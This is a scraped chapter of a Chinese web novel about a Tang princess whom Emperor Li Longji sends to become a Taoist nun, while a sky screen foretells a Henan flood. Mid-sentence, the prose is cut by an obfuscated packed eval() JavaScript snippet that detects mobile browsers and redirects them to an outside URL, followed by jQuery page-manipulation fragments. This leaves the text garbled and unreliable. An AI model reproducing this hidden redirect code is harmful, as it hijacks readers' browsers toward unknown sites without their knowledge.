123读书网 > 玄幻小说 > 天幕剧透后我靠抽卡救大唐 > 12.摆脱婚嫁命运
    【大家看这排水阀的模型。水阀的闸墩用青石砌筑,这没什么问题,但是核心闸板用的材料却是松木和杉木。这种“木石骨衣”的结构是为了节约成本。】


    【木材若遭长期浸泡,那一定会遭到蛀虫水虱还有真菌的侵蚀,不出三年,必定朽烂。】


    【分洪闸门的铁轴也要定期维护,否则靠近水岸,必要生锈。】


    【因此在当时,这样的排水阀需要每两年更换一次,才能保证正常运作,而若未更换,排水阀最多只能再维持半年运转。】


    【若无暴雨,排水阀失修这件事几乎是不可能被发现的。但巧就巧在,开元二十九年的时候,极端天气出现,河南突降暴雨,分洪泄流的闸门拉不动,不断上涨的洪水冲垮了四十八座腐朽的排水闸,倒灌入岸。史载“开元二十九年七月,汴水决堤,浸一十三州……”】


    天幕之上,洪水滚滚。


    水面之上,一个老妪抱着稚儿趴在一截断木上,孩子的脸已被冻得发紫,老妪沙哑的哭喊呼救声被浪卷走。


    画面又一转,是几个壮汉泡在齐胸的洪水中,眼眶通红地打捞水面的浮尸。曾经熟悉的街坊邻里转瞬间已成了冰冷的死人。


    画面再转,残垣上挤满了浑身湿透的人,饿极的孩子争着抢夺飘过的腐烂菜叶,女人抱着死去的孩子痛苦。


    暮色中,断续的呜咽生被浪头吞没,夜晚马上降临,熬不过今晚的人不知其数。


    天幕之下,一片寂静。


    洪水淹死的都是平民百姓,而正是同为平民百姓,才最能深切感受到站在天灾之前,这份无助和痛苦。


    谁都不想死,谁都不想眼睁睁看到相熟的邻里死在自己面前,百姓也更不愿眼睁睁看着孩子死在自己怀里。


    长安城有人叹息,有人落泪。


    皇城内,站在皇帝面前的韦坚心跳如鼓,大脑在快速运转分析利弊。


    只要此月河南水患成真,那他难逃一死!


    此时此刻只有快速平息圣人怒火,再把这责任甩出去,才能保全自身。


    韦坚一个撩袍,飞速跪下:“请陛下治我的罪!”


    李隆基不淡不咸看着他:“你何罪之有?”


    韦坚磕头:“臣失职,未起到督查的职责,手下的人偷懒未察觉,竟让排水闸失修!”


    “臣此刻便快马加鞭,派人回宋州对通济渠各排水阀一一排查!”


    “那你呢?”


    韦坚伪作正气凛然:“臣请入牢狱,静候发落。”


    李隆基不言语,昏黄的眼睛里像在思考什么。


    小宦官边令诚贴心给了李隆基递了台阶:“陛下,真阳公主已在外面候着了,是否召见?”


    这又让李隆基想起了真阳公主刑克六亲这桩事。


    还是要早早将她发落出去。


    “唤进来吧。”


    李隆基没让韦坚起身,更没让他去偏殿,因此他便只能一直跪着。


    韦坚知道,这是陛下对他不满了。


    李鸾一身藕灰色上襦,艾绿色间色裙,老气横秋又气若游丝地进来了。


    约莫是在外面站得久了,她走几步唇齿间就溢出几缕隐忍的咳。


    “真阳病了?没宣太医看看?”李隆基没什么情绪地问。


    李鸾急切:“禀父皇,只是偶有咳嗽,不多日便好了,咳……孩儿没病,还可侍奉父皇左右!”


    李隆基只想两眼一翻。


    侍奉左右?他是活够了才能让这邪女侍奉左右。


    李鸾说话有种傻子一样的诚恳,眼里是对重得父亲欢心的珍惜。


    因为着急,又或是刚刚隐忍地太过了说完话咳嗽就再也抑制不住。


    她以手捂嘴,咳嗽完把手放开后,唇齿间竟隐有鲜红的血。


    她木木地把手背到了身后。


    李隆基却想起了另一桩事。


    青鸾丹,王屋山。糖鹤驮我上云端。


    京中所有摊贩的糖鹤在正午时全部破肚,振翅欲飞的模样,像要修成飞仙。


    又是王屋山?


    李隆基不得不把这一异象和之前和尚说的,真阳公主需空俗家名姓,修道出家这件事联系起来。


    看着李鸾病弱不似从前的样子,李隆基犹疑着开口:“你是从何时开始咳嗽的?”


    李鸾老实回答:“就在近几日。”


    李隆基登时有种恍然大悟的感觉。


    这便是了。


    此时,他不再以邪女看待李鸾了。


    说不准他这一女,还真被仙人看中了,要招到天上当仙鹤呢。


    就是没因此病去世,也大约是个有仙缘的。


    李隆基对李鸾的厌恶在无形之中消弭,也和颜悦色了一些。


    至此,李隆基彻底打消了将李鸾嫁出去的想法。


    “朕观你与俗家无缘,你可愿赴王屋山,随朕的胞妹玉真公主修道?”


    李鸾猛得抬头:“孩儿还未尽孝,想侍奉父皇左右。”


    李隆基皱眉。


    真不知道仙人为什么会看上这个榆木脑袋。


    李鸾越是想留下,李隆基就越是想把这个烫手山芋给丢出去。


    “你是准备违抗父命?”李隆基不悦道。


    李鸾低下头:“儿臣不敢。”


    李隆基一锤定音:“吾儿真阳,自小喜道家典籍,眉宇间常有静气。朕知你不恋宫墙繁华,特赐你道号‘清玄’,赴王屋山修道。非值年节,不得返京。”


    他装模作样地安抚了两句:“你姑母的玉灵观便在王屋山附近,她会照拂你的,你不必忧心。”


    李鸾声音难掩失落:“儿臣,领旨。”


    李隆基补充:“即日便启程吧。”


    李鸾不舍:“竟如此仓促……”


    李隆基毫不留恋挥手:“去吧。”


    李鸾跪拜行礼后,慢吞吞地离开了。


    李隆基又看向了韦坚,心中已有定论:“入牢就不必了,朕命你即可前往宋州,在水患祸临汴渠之前,把失职之人揪出严办!”


    李隆基很清楚,更换水阀清理淤积泥沙消耗人力物力巨大,又是一笔巨资。


    朝廷的拨款究竟去了哪里?谁会有这个胆子中饱私囊?


    事情还未发生,严办韦坚本就是不现实的事情。


    况且就一个水患,只是死了千余人罢了,实在不值得把他的钱袋子关进牢里。


    关进去了,谁给他弄钱呢?


    韦坚叩拜谢恩后脚步飞快,赶上了慢吞吞的李鸾。


    他和李鸾并


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284799|182487||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    排走了一段,等了许久,发现李鸾并无开口的意思,便阴恻恻地笑着看她:“殿下并不好奇某为何与你一道走?”


    李鸾用一种匪夷所思的目光看他,然后点了点自己的太阳穴。


    韦坚诡异地明白了李鸾的意思:你脑子没病吧?


    他脸上阴恻的笑容龟裂了一刻,复又恢复正常。他的目光如同冰冷蛇信舔舐过李鸾苍白的脸:“殿下终于有点活人样子了,方才我险些以为殿下快要死了。就是不知道,殿下在圣人面前演戏可还辛苦?”


    李鸾脚步未停,置若罔闻。


    这份无视没有令韦坚有丝毫不悦。他用一种黏腻亲昵的语气说道:“倒是可惜了我与殿下的婚事。若非这突然出现的天幕,或许殿下已被赐与某之……床上。”


    他的视线紧紧锁住李鸾,不放过她面上任何一丝细微的变化。


    他渴望撕碎她的一身假面,想看她的惊慌恐惧,或是被侮辱的愤怒,哪怕一丝,都会令他无比快慰。


    李鸾看了看天,三两拨千斤:“婚事无甚可惜,避开我这‘刑克六亲’的公主,转运使该庆幸。可惜的是韦转运使加官进爵的希望落空了。”


    她用一种怜悯的眼神看着韦坚:“转运使自宋州而来,原是兴致勃勃等着加官进爵的吧。可惜了,嘉奖是没有的,只能带着警告灰溜溜回去了。”


    这话精准逮住了韦坚的痛处,狠狠踩了一脚。


    韦坚瞳孔一缩,略显狼狈,愤怒之余有种说不清道不明的扭曲兴奋卷席他的内心。


    终于窥到了她真实面目的一角,冰冷,犀利,善于谋划,深不可测。


    什么刑克六亲,什么赴王屋山消劫,全是假的!


    韦坚逼近一步,轻微低语的声音带着一种毛骨悚然的占有欲:“伶牙俐齿。殿下该不会以为王屋山就是净土吧?某想得到的东西,还没有未拿到手的,殿下无论逃到哪里,终归是某的囊中之物。”


    李鸾轻笑:“转运使不快马加鞭严办‘失职人’,反而在这与我浪费口舌,还是嫌自己命长了。”


    【难道排水闸全线崩溃的河南就真的没救了吗?】


    【不,天造此危厄,盖欲使救世者出也。河南道这片绝望汪洋之中,正在孕育两项改写水利史的技术革命!】


    【让我们记住昌禄陛下这个伟大的皇帝,她改写了此后千千万万或葬身于洪流中百姓的命运。】


    【也请大家记住宋州这个地方,这里,是昌禄陛下初露锋芒,大展才华的启航之地。】


    李隆基望着天幕,皱眉思索。


    宋州?他没有让李亨去宋州的打算啊?


    难不成昌禄皇帝不是太子李亨?那他能使谁?


    莫名地,李隆基想到了刚刚离开大殿的李鸾。


    王屋山与宋州仅仅两州之隔。


    可李鸾苦苦哀求只为留在他身边的模样还历历在目。


    这王屋山,不是她愿往的,而是他强迫她去的。


    思及此,李隆基又把心放下。


    他笑着摇头,只觉自己最近被天幕搅得心烦意乱,竟连这种荒唐的念头都冒出来了。


    而此时宫门外,落日熔金,李鸾艾绿的裙裾被镀上一层暖色,她脚踩的落日余晖,步履从容,一步步走向宫外广阔天地。